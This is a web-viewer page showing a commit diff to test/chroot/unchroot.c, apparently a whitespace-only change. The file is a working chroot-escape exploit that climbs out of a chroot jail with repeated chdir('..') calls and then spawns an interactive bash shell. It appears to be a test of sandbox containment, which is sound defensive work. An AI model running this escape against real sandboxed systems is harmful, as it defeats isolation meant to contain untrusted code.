summaryrefslogtreecommitdiffstats
path: root/test/chroot/unchroot.c
diff options
context:
space:
mode:
Diffstat (limited to 'test/chroot/unchroot.c')
-rw-r--r--test/chroot/unchroot.c16
1 files changed, 8 insertions, 8 deletions
diff --git a/test/chroot/unchroot.c b/test/chroot/unchroot.c
index 1982e07f3..4919637d6 100644
--- a/test/chroot/unchroot.c
+++ b/test/chroot/unchroot.c
@@ -13,28 +13,28 @@ void die(char *msg) {
13int main(int argc, char *argv[]) 13int main(int argc, char *argv[])
14{ 14{
15 int i; 15 int i;
16 16
17 if (chdir("/") != 0) 17 if (chdir("/") != 0)
18 die("chdir(/)"); 18 die("chdir(/)");
19 19
20 if (mkdir("baz", 0777) != 0) 20 if (mkdir("baz", 0777) != 0)
21 ; //die("mkdir(baz)"); 21 ; //die("mkdir(baz)");
22 22
23 if (chroot("baz") != 0) 23 if (chroot("baz") != 0)
24 die("chroot(baz)"); 24 die("chroot(baz)");
25 25
26 for (i=0; i<50; i++) { 26 for (i=0; i<50; i++) {
27 if (chdir("..") != 0) 27 if (chdir("..") != 0)
28 die("chdir(..)"); 28 die("chdir(..)");
29 } 29 }
30 30
31 if (chroot(".") != 0) 31 if (chroot(".") != 0)
32 die("chroot(.)"); 32 die("chroot(.)");
33 33
34 printf("Exploit seems to work. =)\n"); 34 printf("Exploit seems to work. =)\n");
35 35
36 execl("/bin/bash", "bash", "-i", (char *)0); 36 execl("/bin/bash", "bash", "-i", (char *)0);
37 die("exec bash"); 37 die("exec bash");
38 38
39 exit(0); 39 exit(0);
40} 40}